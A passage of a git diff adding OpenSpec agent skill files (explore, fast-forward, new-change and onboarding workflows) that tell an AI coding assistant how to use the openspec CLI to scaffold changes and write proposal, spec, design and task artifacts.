created - pick another artifact + - **Create the artifact file**: + - Read any completed dependency files for context - always re-read them from disk, even if you saw them earlier in the conversation (the user may have edited them) + - If the `instruction` field delegates creation to a specific skill or command, invoke it to produce the artifact instead of writing the file yourself, then verify the artifact file exists at `resolvedOutputPath` + - Otherwise use `template` as the structure - fill in its sections + - Apply `context` and `rules` as constraints when writing - but do NOT copy them into the file + - Write to the `resolvedOutputPath` specified in instructions. If it is a glob pattern, choose the concrete file path using the schema instruction and the change's context + - Show what was created and what's now unlocked + - STOP after creating ONE artifact + + --- + + **If no artifacts are ready (all blocked)**: + - This shouldn't happen with a valid schema + - Show status and suggest checking for issues + +4. **After creating an artifact, show progress** + ```bash + openspec status --change "<name>" + ``` + +**Output** + +After each invocation, show: +- Which artifact was created +- Schema workflow being used +- Current progress (N/M complete) +- What artifacts are now unlocked +- Prompt: "Want to continue? Just ask me to continue or tell me what to do next." + +**Artifact Creation Guidelines** + +The artifact types and their purpose depend on the schema. The `instruction` field from the instructions output is the authoritative guidance for each artifact - follow it even when the artifact has a familiar name (proposal.md, tasks.md, etc.), since custom schemas may define different content or a different process for the same file names. + +If the `instruction` field directs you to use a specific skill or command to create the artifact, invoke it instead of writing the artifact directly. + +**Guardrails** +- Create ONE artifact per invocation +- Always read dependency artifacts before creating a new one - re-read from disk, not from conversation memory (files may have changed since you last saw them) +- Never skip artifacts or create out of order +- If context is unclear, ask the user before creating +- Verify the artifact file exists after writing before marking progress +- Use the schema's artifact sequence, don't assume specific artifact names +- **IMPORTANT**: `context` and `rules` are constraints for YOU, not content for the file + - Do NOT copy `<context>`, `<rules>`, `<project_context>` blocks into the artifact + - These guide what you write, but should never appear in the output diff --git a/skills/openspec-explore/SKILL.md b/skills/openspec-explore/SKILL.md new file mode 100644 index 0000000000..b886a44dcb --- /dev/null +++ b/skills/openspec-explore/SKILL.md @@ -0,0 +1,307 @@ +--- +name: openspec-explore +description: Enter explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements. Use when the user wants to think through something before or during a change. +allowed-tools: Bash(openspec:*) +license: MIT +compatibility: Requires openspec CLI. +metadata: + author: openspec + version: "1.0" +--- + +Enter explore mode. Think deeply. Visualize freely. Follow the conversation wherever it goes. + +**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, and investigate the codebase, but you must NEVER write code or implement features. If the user asks you to implement something, remind them to exit explore mode first and create a change proposal. You MAY create OpenSpec artifacts (proposals, designs, specs) if the user asks—that's capturing thinking, not implementing. For a new change, scaffold it first as described below. + +**This is a stance, not a workflow.** There are no fixed steps, no required sequence, no mandatory outputs. You're a thinking partner helping the user explore. + +**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root. + +--- + +## The Stance + +- **Curious, not prescriptive** - Ask questions that emerge naturally, don't follow a script +- **Open threads, not interrogations** - Surface multiple interesting directions and let the user follow what resonates. Don't funnel them through a single path of questions. +- **Visual** - Use ASCII diagrams liberally when they'd help clarify thinking +- **Adaptive** - Follow interesting threads, pivot when new information emerges +- **Patient** - Don't rush to conclusions, let the shape of the problem emerge +- **Grounded** - Explore the actual codebase when relevant, don't just theorize + +--- + +## What You Might Do + +Depending on what the user brings, you might: + +**Explore the problem space** +- Ask clarifying questions that emerge from what they said +- Challenge assumptions +- Reframe the problem +- Find analogies + +**Investigate the codebase** +- Map existing architecture relevant to the discussion +- Find integration points +- Identify patterns already in use +- Surface hidden complexity + +**Compare options** +- Brainstorm multiple approaches +- Build comparison tables +- Sketch tradeoffs +- Recommend a path (if asked) + +**Visualize** +``` +┌─────────────────────────────────────────┐ +│ Use ASCII diagrams liberally │ +├─────────────────────────────────────────┤ +│ │ +│ ┌────────┐ ┌────────┐ │ +│ │ State │────────▶│ State │ │ +│ │ A │ │ B │ │ +│ └────────┘ └────────┘ │ +│ │ +│ System diagrams, state machines, │ +│ data flows, architecture sketches, │ +│ dependency graphs, comparison tables │ +│ │ +└─────────────────────────────────────────┘ +``` + +**Surface risks and unknowns** +- Identify what could go wrong +- Find gaps in understanding +- Suggest spikes or investigations + +--- + +## OpenSpec Awareness + +You have full context of the OpenSpec system. Use it naturally, don't force it. + +### Check for context + +At the start, quickly check what exists: +```bash +openspec list --json +``` + +This tells you: +- If there are active changes +- Their names, schemas, and status +- What the user might be working on + +Then read the project's own context from the resolved root - `<root.path>/openspec/config.yaml` (or `config.yml`). Use the `root.path` returned above, and skip this if neither file exists: +- `context`: project background - tech stack, conventions, constraints +- `rules`: keyed by artifact id - the entries for an artifact apply only when you write that artifact + +Ground your thinking in these. They are constraints for you to follow, not content to reproduce: do NOT copy them into the conversation or into any artifact you create. + +### When no change exists + +Think freely. When insights crystallize, you might offer: + +- "This feels solid enough to start a change. Want me to create a proposal?" +- Or keep exploring - no pressure to formalize + +If the user asks you to capture the exploration as a new change, transition seamlessly into the requested capture: + +1. Run `openspec new change "<name>"` (with `--store <id>` when applicable) before creating any artifacts. Never create a new change directory under `openspec/changes/` by hand; the CLI scaffold creates required metadata such as `.openspec.yaml`. Keep the selected `--store <id>` on every applicable follow-up `status` and `instructions` command. +2. Run `openspec status --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store), then process the requested artifacts in dependency order. For each requested artifact that is `ready`, run `openspec instructions "<artifact-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store). Before creating a requested artifact, evaluate any condition in its own `instruction` against the explored change; record a deliberate skip instead when the condition does not apply. If a requested artifact is blocked by a direct prerequisite the user did not request, run `openspec instructions "<prerequisite-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) for that prerequisite whether it is `ready` or `blocked`. If its own `instruction` states a condition, evaluate that condition against the explored change and record a deliberate skip only when the condition does not apply. If the condition applies, or the prerequisite is not conditional, treat it as a normal prerequisite and ask before expanding the capture. Do not create an unrequested prerequisite unless the user approves. +3. Follow the returned `template` and `instruction` fields. Read completed dependency files listed in `dependencies`, and apply `context` and `rules` as constraints without copying them into the artifact. If the instruction delegates creation to a specific skill or command, invoke it; otherwise write the artifact to `resolvedOutputPath`, using the instruction to choose a concrete path when it is a glob. Verify that the selected concrete output exists. +4. After creating each artifact, re-run `openspec status --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) and continue until every requested artifact is `done`, `skipped`, or was deliberately skipped because its own `instruction` stated a condition that did not apply. Tell the user about a deliberate conditional skip, remember it, and do not reconsider it. Dependencies are enablers, not gates: if a requested artifact is still `blocked` only because you deliberately skipped a conditional prerequisite, run `openspec instructions "<artifact-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) despite the blocked status, then create it using step 3 only when those recorded conditional skips are its sole missing dependencies. If a requested artifact is blocked by a prerequisite the user did not ask to capture and cannot be conditionally skipped, explain that dependency and ask before expanding the capture. + +Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status. + +### When a change exists + +If the user mentions a change or you detect one is relevant: + +1. **Resolve and read existing artifacts for context** + - Run `openspec status --change "<name>" --json`. + - Use `changeRoot`, `artifactPaths`, and `actionContext` from the status JSON. + - Read existing files from `artifactPaths.<artifact>.existingOutputPaths`. + +2. **Reference them naturally in conversation** + - "Your design mentions using Redis, but we just realized SQLite fits better..." + - "The proposal scopes this to premium users, but we're now thinking everyone..." + +3. **Offer to capture when decisions are made** + + `<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve an existing capability's full path and follow the project's established organization for new capabilities. + + | Insight Type | Where to Capture | + |----------------------------|-------------------------------------| + | New requirement discovered | `specs/<capability-path>/spec.md` | + | Requirement changed | `specs/<capability-path>/spec.md` | + | Design decision made | `design.md` | + | Scope changed | `proposal.md` | + | New work identified | `tasks.md` | + | Assumption invalidated | Relevant artifact | + + Example offers: + - "That's a design decision. Capture it in design.md?" + - "This is a new requirement. Add it to specs?" + - "This changes scope. Update the proposal?" + +4. **The user decides** - Offer and move on. Don't pressure. Don't auto-capture. + +--- + +## What You Don't Have To Do + +- Follow a script +- Ask the same questions every time +- Produce a specific artifact +- Reach a conclusion +- Stay on topic if a tangent is valuable +- Be brief (this is thinking time) + +--- + +## Handling Different Entry Points + +**User brings a vague idea:** +``` +User: I'm thinking about adding real-time collaboration + +You: Real-time collab is a big space. Let me think about this... + + COLLABORATION SPECTRUM + ════════════════════════════════════════════ + + Awareness Coordination Sync + │ │ │ + ▼ ▼ ▼ + ┌────────┐ ┌────────┐ ┌────────┐ + │Presence│ │Cursors │ │ CRDT │ + │ "3 │ │ Multi │ │Conflict│ + │online" │ │ select │ │ free │ + └────────┘ └────────┘ └────────┘ + │ │ │ + trivial moderate complex + + Where's your head at? +``` + +**User brings a specific problem:** +``` +User: The auth system is a mess + +You: [reads codebase] + + ┌─────────────────────────────────────────────┐ + │ CURRENT AUTH FLOW │ + └─────────────────────────────────────────────┘ + │ + ┌─────────────┼─────────────┐ + ▼ ▼ ▼ + ┌─────────┐ ┌─────────┐ ┌─────────┐ + │ Google │ │ GitHub │ │ Email │ + │ OAuth │ │ OAuth │ │ Magic │ + └────┬────┘ └────┬────┘ └────┬────┘ + │ │ │ + └─────────────┼─────────────┘ + ▼ + ┌───────────┐ + │ Session │ + └─────┬─────┘ + │ + ▼ + ┌───────────┐ + │ Perms │ + └───────────┘ + + I see three tangles. Which one's burning? +``` + +**User is stuck mid-implementation:** +``` +User: /openspec-explore add-auth-system + The OAuth integration is more complex than expected + +You: [reads change artifacts] + + You're on task 4: "Implement OAuth flow" + + Let me trace what's involved... + + [draws diagram, explores options, suggests paths] + + Want to update the design to reflect this? + Or add a spike task to investigate? +``` + +**User wants to compare options:** +``` +User: Should we use Postgres or SQLite? + +You: Generic answer is boring. What's the context? + +User: A CLI tool that tracks local dev environments + +You: That changes everything. + + ┌─────────────────────────────────────────────────┐ + │ CLI TOOL DATA STORAGE │ + └─────────────────────────────────────────────────┘ + + Key constraints: + • No daemon running + • Must work offline + • Single user + + SQLite Postgres + Deployment embedded ✓ needs server ✗ + Offline yes ✓ no ✗ + Single file yes ✓ no ✗ + + SQLite. Not even close. + + Unless... is there a sync component? +``` + +--- + +## Ending Discovery + +There's no required ending. Discovery might: + +- **Flow into a proposal**: "Ready to start? I can create a change proposal." +- **Result in artifact updates**: "Updated design.md with these decisions" +- **Just provide clarity**: User has what they need, moves on +- **Continue later**: "We can pick this up anytime" + +When it feels like things are crystallizing, you might summarize: + +``` +## What We Figured Out + +**The problem**: [crystallized understanding] + +**The approach**: [if one emerged] + +**Open questions**: [if any remain] + +**Next steps** (if ready): +- Create a change proposal +- Keep exploring: just keep talking +``` + +But this summary is optional. Sometimes the thinking IS the value. + +--- + +## Guardrails + +- **Don't implement** - Never write code or implement features. Creating OpenSpec artifacts is fine, writing application code is not. +- **Don't fake understanding** - If something is unclear, dig deeper +- **Don't rush** - Discovery is thinking time, not task time +- **Don't force structure** - Let patterns emerge naturally +- **Don't auto-capture** - Offer to save insights, don't just do it +- **Don't manually scaffold changes** - Never create a new change directory under `openspec/changes/` by hand. Always use `openspec new change "<name>"` (with `--store <id>` when applicable) so required metadata such as `.openspec.yaml` is created before writing artifacts. +- **Do visualize** - A good diagram is worth many paragraphs +- **Do explore the codebase** - Ground discussions in reality +- **Do question assumptions** - Including the user's and your own diff --git a/skills/openspec-ff-change/SKILL.md b/skills/openspec-ff-change/SKILL.md new file mode 100644 index 0000000000..e88c416a16 --- /dev/null +++ b/skills/openspec-ff-change/SKILL.md @@ -0,0 +1,112 @@ +--- +name: openspec-ff-change +description: Fast-forward through OpenSpec artifact creation. Use when the user wants to quickly create all artifacts needed for implementation without stepping through each one individually. +allowed-tools: Bash(openspec:*) +license: MIT +compatibility: Requires openspec CLI. +metadata: + author: openspec + version: "1.0" +--- + +Fast-forward through artifact creation - generate everything needed to start implementation in one go. + +**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root. + +**Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build. + +**Steps** + +1. **If no clear input provided, ask what they want to build** + + Ask the user (open-ended, no preset options): + > "What change do you want to work on? Describe what you want to build or fix." + + From their description, derive a kebab-case name (e.g., "add user authentication" → `add-user-auth`). + + **IMPORTANT**: Do NOT proceed without understanding what the user wants to build. + +2. **Create the change directory** + ```bash + openspec new change "<name>" + ``` + This creates a scaffolded change in the planning home resolved by the CLI. + +3. **Get the artifact build order** + ```bash + openspec status --change "<name>" --json + ``` + Parse the JSON to get: + - `applyRequires`: array of artifact IDs needed before implementation (e.g., `["tasks"]`) + - `artifacts`: list of all artifacts, each with its `status` and its `requires` edges (the artifact IDs it directly depends on) + - `planningHome`, `changeRoot`, `artifactPaths`, and `actionContext`: path and scope context. Use these instead of assuming repo-local paths. + +4. **Create every artifact in the required set** + + Use a todo list to track progress through the artifacts. + + Loop through artifacts in dependency order (artifacts with no pending dependencies first): + + a. **For each artifact that is `ready` (dependencies satisfied)**: + - Get instructions: + ```bash + openspec instructions <artifact-id> --change "<name>" --json + ``` + - The instructions JSON includes: + - `context`: Project background (constraints for you - do NOT include in output) + - `rules`: Artifact-specific rules (constraints for you - do NOT include in output) + - `template`: The structure to use for your output file + - `instruction`: Schema-specific guidance for this artifact type + - `skipped`/`warning`: present when the change declares skip_specs and this artifact must NOT be created - stop and pick another artifact + - `resolvedOutputPath`: Resolved path or pattern to write the artifact + - `dependencies`: Completed artifacts to read for context + - Read any completed dependency files for context - always re-read them from disk, even if you saw them earlier in the conversation (the user may have edited them) + - If the `instruction` field delegates creation to a specific skill or command, invoke it to produce the artifact instead of writing the file yourself, then verify the artifact file exists at `resolvedOutputPath` + - Otherwise create the artifact file using `template` as the structure and write it to `resolvedOutputPath`. If `resolvedOutputPath` is a glob, follow `instruction` to choose the concrete file path + - Apply `context` and `rules` as constraints - but do NOT copy them into the file + - Show brief progress: "✓ Created <artifact-id>" + + b. **Continue until every artifact in the required set exists (not just `apply.requires`)** + - After creating each artifact, re-run `openspec status --change "<name>" --json` + - The required set is `applyRequires` plus every artifact reachable from those by following the `requires` edges in `status --json` - walk them transitively (spec-driven closes over proposal, specs, design, tasks). Leave artifacts outside that set alone + - `status` is file-existence only, so an `applyRequires` artifact reading `done` does NOT mean its dependencies exist - writing `tasks.md` early marks `tasks` done while `specs` was never written. Use each artifact's `requires` edges, not its `status`, to build the required set: a `done` artifact still lists what it depends on + - An artifact already reading `status: "skipped"` is satisfied: the change declares `skip_specs` in `.openspec.yaml`, so its files must NOT exist. Never try to create one + - Create every artifact in the required set that is missing, then re-check - creating one can unblock others + - Skip one only when `status` already reports it `skipped`, or when its own `instruction` says it is conditional: run `openspec instructions <artifact-id> --change "<name>" --json` and skip only if its `instruction` field marks it optional (e.g. "create only if..."). Spec-driven's `design.md` qualifies; `specs` qualifies only via the `skipped` status above, never by your own judgment. Tell the user, and do not reconsider it + - Dependencies are enablers, not gates: if a required artifact is still `blocked` only because you skipped a conditional dependency, write it anyway + - Stop when every artifact in the required set is `done`, `skipped`, or was deliberately skipped + + c. **If an artifact requires user input** (unclear context): + - Ask the user to clarify + - Then continue with creation + +5. **Show final status** + ```bash + openspec status --change "<name>" + ``` + +**Output** + +After completing all artifacts, summarize: +- Change name and location +- List of artifacts created with brief descriptions, plus any conditional artifact you skipped and why +- What's ready: "All artifacts needed for implementation are ready." +- Prompt: "Run `/openspec-apply-change` or ask me to implement to start working on the tasks." + +**Artifact Creation Guidelines** + +- Follow the `instruction` field from `openspec instructions` for each artifact type - it is the authoritative guidance, even for familiar artifact names +- If the `instruction` field directs you to use a specific skill or command to create the artifact, invoke it instead of writing the artifact directly +- The schema defines what each artifact should contain - follow it +- Read dependency artifacts for context before creating new ones +- Use `template` as the structure for your output file - fill in its sections +- **IMPORTANT**: `context` and `rules` are constraints for YOU, not content for the file + - Do NOT copy `<context>`, `<rules>`, `<project_context>` blocks into the artifact + - These guide what you write, but should never appear in the output + +**Guardrails** +- Create every artifact the apply phase transitively depends on, not just the ids listed in `apply.requires` +- Always read dependency artifacts before creating a new one - re-read from disk, not from conversation memory (files may have changed since you last saw them) +- If context is critically unclear, ask the user - but prefer making reasonable decisions to keep momentum +- If a change with that name already exists, suggest continuing that change instead +- Verify each artifact file exists after writing before proceeding to next diff --git a/skills/openspec-new-change/SKILL.md b/skills/openspec-new-change/SKILL.md new file mode 100644 index 0000000000..a103bb0748 --- /dev/null +++ b/skills/openspec-new-change/SKILL.md @@ -0,0 +1,76 @@ +--- +name: openspec-new-change +description: Start a new OpenSpec change using the experimental artifact workflow. Use when the user wants to create a new feature, fix, or modification with a structured step-by-step approach. +allowed-tools: Bash(openspec:*) +license: MIT +compatibility: Requires openspec CLI. +metadata: + author: openspec + version: "1.0" +--- + +Start a new change using the experimental artifact-driven approach. + +**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root. + +**Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build. + +**Steps** + +1. **If no clear input provided, ask what they want to build** + + Ask the user (open-ended, no preset options): + > "What change do you want to work on? Describe what you want to build or fix." + + From their description, derive a kebab-case name (e.g., "add user authentication" → `add-user-auth`). + + **IMPORTANT**: Do NOT proceed without understanding what the user wants to build. + +2. **Determine the workflow schema** + + Use the default schema (omit `--schema`) unless the user explicitly requests a different workflow. + + **Use a different schema only if the user mentions:** + - A specific schema name → use `--schema <name>` + - "show workflows" or "what workflows" → run `openspec schemas --json` and let them choose + + **Otherwise**: Omit `--schema` to use the default. + +3. **Create the change directory** + ```bash + openspec new change "<name>" + ``` + Add `--schema <name>` only if the user requested a specific workflow. + This creates a scaffolded change in the planning home resolved by the CLI. + +4. **Show the artifact status** + ```bash + openspec status --change "<name>" --json + ``` + Use the returned `planningHome`, `changeRoot`, `artifactPaths`, and `nextSteps` instead of assuming repo-local paths. + +5. **Get instructions for the first artifact** + The first artifact depends on the schema (e.g., `proposal` for spec-driven). + Check the status output to find the first artifact with status "ready". + ```bash + openspec instructions <first-artifact-id> --change "<name>" + ``` + This outputs the template and context for creating the first artifact. + +6. **STOP and wait for user direction** + +**Output** + +After completing the steps, summarize: +- Change name and location +- Schema/workflow being used and its artifact sequence +- Current status (0/N artifacts complete) +- The template for the first artifact +- Prompt: "Ready to create the first artifact? Just describe what this change is about and I'll draft it, or ask me to continue." + +**Guardrails** +- Do NOT create any artifacts yet - just show the instructions +- Do NOT advance beyond showing the first artifact template +- If the name is invalid (not kebab-case), ask for a valid name +- If a change with that name already exists, suggest continuing that change instead +- Pass --schema if using a non-default workflow diff --git a/skills/openspec-onboard/SKILL.md b/skills/openspec-onboard/SKILL.md new file mode 100644 index 0000000000..0d78693254 --- /dev/null +++ b/skills/openspec-onboard/SKILL.md @@ -0,0 +1,560 @@ +--- +name: openspec-onboard +description: Guided onboarding for OpenSpec - walk through a complete workflow cycle with narration and real codebase work. +allowed-tools: Bash(openspec:*) +license: MIT +compatibility: Requires openspec CLI. +metadata: + author: openspec + version: "1.0" +--- + +Guide the user through their first complete OpenSpec workflow cycle. This is a teaching experience—you'll do real work in their codebase while explaining each step. + +**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root. + +--- + +## Preflight + +Before starting, check if the OpenSpec CLI is installed: + +```bash +# Unix/macOS +openspec --version 2>&1 || echo "CLI_NOT_INSTALLED" +# Windows (PowerShell) +# if (Get-Command openspec -ErrorAction SilentlyContinue) { openspec --version } else { echo "CLI_NOT_INSTALLED" } +``` + +**If CLI not installed:** +> OpenSpec CLI is not installed. Install it first, then come back to `/openspec-onboard`. + +Stop here if not installed. + +--- + +## Phase 1: Welcome + +Display: + +``` +## Welcome to OpenSpec! + +I'll walk you through a complete change cycle—from idea to implementation—using a real task in your codebase. Along the way, you'll learn the workflow by doing it. + +**What we'll do:** +1. Pick a small, real task in your codebase +2. Explore the problem briefly +3. Create a change (the container for our work) +4. Build the artifacts: proposal → specs → design → tasks +5. Implement the tasks +6. Archive the completed change + +**Time:** ~15-20 minutes + +Let's start by finding something to work on. +``` + +--- + +## Phase 2: Task Selection + +### Codebase Analysis + +Scan the codebase for small improvement opportunities. Look for: + +1. **TODO/FIXME comments** - Search for `TODO`, `FIXME`, `HACK`, `XXX` in code files +2. **Missing error handling** - `catch` blocks that swallow errors, risky operations without try-catch +3. **Functions without tests** - Cross-reference `src/` with test directories +4. **Type issues** - `any` types in TypeScript files (`: any`, `as any`) +5. **Debug artifacts** - `console.log`, `console.debug`, `debugger` statements in non-debug code +6. **Missing validation** - User input handlers without validation + +Also check recent git activity: +```bash +# Unix/macOS +git log --oneline -10 2>/dev/null || echo "No git history" +# Windows (PowerShell) +# git log --oneline -10 2>$null; if ($LASTEXITCODE -ne 0) { echo "No git history" } +``` + +### Present Suggestions + +From your analysis, present 3-4 specific suggestions: + +``` +## Task Suggestions + +Based on scanning your codebase, here are some good starter tasks: + +**1. [Most promising task]** + Location: `src/path/to/file.ts:42` + Scope: ~1-2 files, ~20-30 lines + Why it's good: [brief reason] + +**2. [Second task]** + Location: `src/another/file.ts` + Scope: ~1 file, ~15 lines + Why it's good: [brief reason] + +**3. [Third task]** + Location: [location] + Scope: [estimate] + Why it's good: [brief reason] + +**4. Something else?** + Tell me what you'd like to work on. + +Which task interests you? (Pick a number or describe your own) +``` + +**If nothing found:** Fall back to asking what the user wants to build: +> I didn't find obvious quick wins in your codebase. What's something small you've been meaning to add or fix? + +### Scope Guardrail + +If the user picks or describes something too large (major feature, multi-day work): + +``` +That's a valuable task, but it's probably larger than ideal for your first OpenSpec run-through. + +For learning the workflow, smaller is better—it lets you see the full cycle without getting stuck in implementation details. + +**Options:** +1. **Slice it smaller** - What's the smallest useful piece of [their task]? Maybe just [specific slice]? +2. **Pick something else** - One of the other suggestions, or a different small task? +3. **Do it anyway** - If you really want to tackle this, we can. Just know it'll take longer. + +What would you prefer? +``` + +Let the user override if they insist—this is a soft guardrail. + +--- + +## Phase 3: Explore Demo + +Once a task is selected, briefly demonstrate explore mode: + +``` +Before we create a change, let me quickly show you **explore mode**—it's how you think through problems before committing to a direction. +``` + +Spend 1-2 minutes investigating the relevant code: +- Read the file(s) involved +- Draw a quick ASCII diagram if it helps +- Note any considerations + +``` +## Quick Exploration + +[Your brief analysis—what you found, any considerations] + +┌─────────────────────────────────────────┐ +│ [Optional: ASCII diagram if helpful] │ +└─────────────────────────────────────────┘ + +Explore mode (`/openspec-explore`) is for this kind of thinking—investigating before implementing. You can use it anytime you need to think through a problem. + +Now let's create a change to hold our work. +``` + +**PAUSE** - Wait for user acknowledgment before proceeding. + +--- + +## Phase 4: Create the Change + +**EXPLAIN:** +``` +## Creating a Change + +A "change" in OpenSpec is a container for all the thinking and planning around a piece of work. It lives at the `changeRoot` reported by `openspec status --change "<name>" --json` and holds your artifacts—proposal, specs, design, tasks. + +Let me create one for our task. +``` + +**DO:** Create the change with a derived kebab-case name: +```bash +openspec new change "<derived-name>" +``` + +**SHOW:** +``` +Created: <changeRoot from status JSON> + +The folder structure: +``` +<changeRoot>/ +├── proposal.md ← Why we're doing this (empty, we'll fill it) +├── design.md ← How we'll build it (empty) +├── specs/ ← Detailed requirements (empty) +└── tasks.md ← Implementation checklist (empty) +``` + +Now let's fill in the first artifact—the proposal. +``` + +--- + +## Phase 5: Proposal + +**EXPLAIN:** +``` +## The Proposal + +The proposal captures **why** we're making this change and **what** it involves at a high level. It's the "elevator pitch" for the work. + +I'll draft one based on our task. +``` + +**DO:** Draft the proposal content (don't save yet): + +`<capability-path>` is the spec directory relative to `specs/` (for example, +`user-auth` or `identity/user-auth`). Use the exact existing path for modified +capabilities. For new capabilities, follow the project's established spec +organization. + +``` +Here's a draft proposal: + +--- + +## Why + +[1-2 sentences explaining the problem/opportunity] + +## What Changes + +[Bullet points of what will be different] + +## Capabilities + +### New Capabilities +- `<capability-path>`: [brief description] + +### Modified Capabilities +<!-- If modifying existing behavior --> +- `<existing-capability-path>`: [brief description] + +## Impact + +- `src/path/to/file.ts`: [what changes] +- [other files if applicable] + +--- + +Does this capture the intent? I can adjust before we save it. +``` + +**PAUSE** - Wait for user approval/feedback. + +After approval, save the proposal: +```bash +openspec instructions proposal --change "<name>" --json +``` +Then write the content to the `resolvedOutputPath` from `openspec instructions proposal --change "<name>" --json`. + +``` +Proposal saved. This is your "why" document—you can always come back and refine it as understanding evolves. + +Next up: specs. +``` + +--- + +## Phase 6: Specs + +**EXPLAIN:** +``` +## Specs + +Specs define **what** we're building in precise, testable terms. They use a requirement/scenario format that makes expected behavior crystal clear. + +For a small task like this, we might only need one spec file. +``` + +**DO:** Resolve where the spec file should be created: +```bash +openspec instructions specs --change "<name>" --json +# Use resolvedOutputPath from the JSON. If it is a glob, choose the concrete file path using the schema instruction and the change's context. +``` + +Draft the spec content: + +``` +Here's the spec: + +--- + +## ADDED Requirements + +### Requirement: <Name> + +<Description of what the system should do> + +#### Scenario: <Scenario name> + +- **WHEN** <trigger condition> +- **THEN** <expected outcome> +- **AND** <additional outcome if needed> + +--- + +This format—WHEN/THEN/AND—makes requirements testable. You can literally read them as test cases. +``` + +Save to the concrete file path chosen from `resolvedOutputPath`. + +--- + +## Phase 7: Design + +**EXPLAIN:** +``` +## Design + +The design captures **how** we'll build it—technical decisions, tradeoffs, approach. + +For small changes, this might be brief. That's fine—not every change needs deep design discussion. +``` + +**DO:** Draft design.md: + +``` +Here's the design: + +--- + +## Context + +[Brief context about the current state] + +## Goals / Non-Goals + +**Goals:** +- [What we're trying to achieve] + +**Non-Goals:** +- [What's explicitly out of scope] + +## Decisions + +### Decision 1: [Key decision] + +[Explanation of approach and rationale] + +--- + +For a small task, this captures the key decisions without over-engineering. +``` + +Save to the `resolvedOutputPath` from `openspec instructions design --change "<name>" --json`. + +--- + +## Phase 8: Tasks + +**EXPLAIN:** +``` +## Tasks + +Finally, we break the work into implementation tasks—checkboxes that drive the apply phase. + +These should be small, clear, and in logical order. +``` + +**DO:** Generate tasks based on specs and design: + +``` +Here are the implementation tasks: + +--- + +## 1. [Category or file] + +- [ ] 1.1 [Specific task] +- [ ] 1.2 [Specific task] + +## 2. Verify + +- [ ] 2.1 [Verification step] + +--- + +Each checkbox becomes a unit of work in the apply phase. Ready to implement? +``` + +**PAUSE** - Wait for user to confirm they're ready to implement. + +Save to the `resolvedOutputPath` from `openspec instructions tasks --change "<name>" --json`. + +--- + +## Phase 9: Apply (Implementation) + +**EXPLAIN:** +``` +## Implementation + +Now we implement each task, checking them off as we go. I'll announce each one and occasionally note how the specs/design informed the approach. +``` + +**DO:** For each task: + +1. Announce: "Working on task N: [description]" +2. Implement the change in the codebase +3. Reference specs/design naturally: "The spec says X, so I'm doing Y" +4. Mark complete in tasks.md: `- [ ]` → `- [x]` +5. Brief status: "✓ Task N complete" + +Keep narration light—don't over-explain every line of code. + +After all tasks: + +``` +## Implementation Complete + +All tasks done: +- [x] Task 1 +- [x] Task 2 +- [x] ... + +The change is implemented! One more step—let's archive it. +``` + +--- + +## Phase 10: Archive + +**EXPLAIN:** +``` +## Archiving + +When a change is complete, we archive it. The archive path is derived from `planningHome.changesDir` and the date. + +Archived changes become your project's decision history—you can always find them later to understand why something was built a certain way. +``` + +**DO:** Archive the change (`--yes` answers the confirmation prompts, which you cannot answer from a tool call): +```bash +openspec archive "<name>" --yes +``` + +**SHOW:** +``` +Archived to: `<planningHome.changesDir>/archive/<target-name>/` (the target name prepends today's date, unless the name already starts with a `YYYY-MM-DD-` prefix — then it is kept as-is, no second date) + +The change is now part of your project's history. The code is in your codebase, the decision record is preserved. +``` + +--- + +## Phase 11: Recap & Next Steps + +``` +## Congratulations! + +You just completed a full OpenSpec cycle: + +1. **Explore** - Thought through the problem +2. **New** - Created a change container +3. **Proposal** - Captured WHY +4. **Specs** - Defined WHAT in detail +5. **Design** - Decided HOW +6. **Tasks** - Broke it into 